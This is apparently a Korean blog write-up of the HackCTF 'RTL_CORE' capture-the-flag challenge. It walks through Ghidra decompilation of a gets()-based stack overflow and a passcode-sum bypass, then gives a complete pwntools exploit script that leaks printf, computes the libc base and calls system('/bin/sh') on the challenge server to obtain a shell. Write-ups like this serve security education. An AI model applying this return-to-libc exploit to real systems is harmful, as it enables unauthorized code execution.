HackCTF RTL_CORE Write-Up

juuun0·2022년 1월 24일
1
post-thumbnail

동적 분석

프로그램을 실행하면 Passcode의 입력을 대기하며 임의의 값을 입력할 경우 실패라고 뜨는 것을 확인할 수 있었습니다.

root@3218f793af99:~/hackctf/rtlcore# ./rtlcore
코어 파일에 액세스중입니다...
패스코드를 입력해주세요
Passcode: Test
실패!

우선은 요구되는 passcode를 알 필요가 있다고 생각하여 ghidra를 이용한 정적 분석을 같이 진행하였습니다.

정적 분석

먼저 ghidra를 사용하여 main문 분석을 진행하였습니다.

undefined4 main(void)

{
  int iVar1;
  char local_24 [24];
  undefined *local_c;
  
  local_c = &stack0x00000004;
  setvbuf(stdout,(char *)0x0,2,0);
  puts(&DAT_080487e8);
  printf("Passcode: ");
  gets(local_24);
  iVar1 = check_passcode(local_24);
  if (iVar1 == hashcode) {
    puts(&DAT_08048840);
    core();
  }
  else {
    puts(&DAT_08048881);
  }
  return 0;
}

gets() 함수를 사용하여 local_24에 입력을 받은 후 check_passcode 함수를 호출하여 실행한 결과를 iVar1에 저장 후 해당 값과 hashcode를 비교한 값이 일치할 경우 core() 함수를 호출하는 것을 확인할 수 있었습니다.

먼저 check_passcode() 함수는 입력받은 값을 이용하여 for 문을 통한 일종의 가공을 진행하였습니다.

int check_passcode(int param_1)

{
  int local_c;
  int local_8;
  
  local_c = 0;
  for (local_8 = 0; local_8 < 5; local_8 = local_8 + 1) {
    local_c = local_c + *(int *)(param_1 + local_8 * 4);
  }
  return local_c;
}

for 문의 내용을 c code로 치환하면 결과적으로 다음 역할임을 알 수 있었습니다.

local_c += param_1[local_8]

이는 pwnable.kr 문제 중 있던 유형으로 hashcode의 값을 반복 횟수로 나눈 뒤 만약 나누어 떨어지지 않을 경우 마지막 입력값에서 \<몫 + 나머지> 값을 입력하여 해결이 가능하였습니다.

이를 통해 성공적으로 core 함수에 접근할 수 있었으며 printf()의 mapping 주소를 출력해주고 read()를 이용한 입력 대기 상태로 진입하였습니다.

libc.so.6 파일이 제공되었고 문제 제목이 rtl_core인 만큼 [read() 함수로 bss 영역에 '/bin/sh\x00' 입력 -> system 함수 호출] 순서로 진행하였으나 exploit에 실패하였습니다.

payload 전달에 문제가 없는 것을 확인하였음에도 빈번히 실패하여 풀이를 확인한 결과 libc.so.6 파일 자체에 존재하는 '/bin/sh' 문자열을 사용하여 진행한다는 것을 확인하였습니다.

처음 RTL 기법을 공부할 당시 학습하였던 내용이었으나 여태까지의 RTL 문제에서 사용한 적이 없어 해당 부분을 간과하고 있었습니다...

이를 참조하여 exploit을 작성하였으나 generator type에서 attribute 오류가 발생하였습니다. 인터넷을 통해 찾을 수 있던 exploit code는 대부분 elf.search['/bin/sh'].next() 와 같은 형태로 작성되어 있었으나 python3.7 기준 동작하지 않는 것을 확인하였습니다.

next()와 관련된 내용을 찾던 중 python3 이후부터는 next(argument) 혹은 .__next__() 와 같이 사용된다는 점을 확인하였으나 수정하였음에도 같은 부분에서 오류가 발생하였습니다.

최종적으로 '/bin/sh' 앞에 b를 삽입하여 byte 형식으로 사용하자 문제가 해결되었습니다.


Exploit

#!/usr/bin/python3

from pwn import *

#p = process("./rtlcore")
p = remote("ctf.j0n9hyun.xyz", 3015)
elf = ELF("./rtlcore")
libc = ELF("./libc.so.6")
#context.log_level = 'debug'

passcode = "\x21\xf0\x91\x26"
lastcode = "\x23\xf0\x91\x26"
printfOffset = libc.symbols['printf']
systemOffset = libc.symbols['system']
padding = b"A"*66
p3r = 0x8048789
sh = libc.search(b"/bin/sh").__next__()

p.sendlineafter(": ", passcode * 4 + lastcode)
p.recvline()
p.recv(34)
printfAddr = int(p.recvuntil(" ").decode('utf-8').strip(" "), 16) 
p.recvline()
libcBase = printfAddr - printfOffset

payload = padding
payload += p32(libcBase + systemOffset)
payload += b"BBBB"
print(sh)
print(libcBase + sh) 
payload += p32(libcBase + sh) 

p.sendline(payload)

log.info("printf address: " + hex(printfAddr))
log.info("libc Base address: " + hex(libcBase))
p.interactive()
profile
To be

0개의 댓글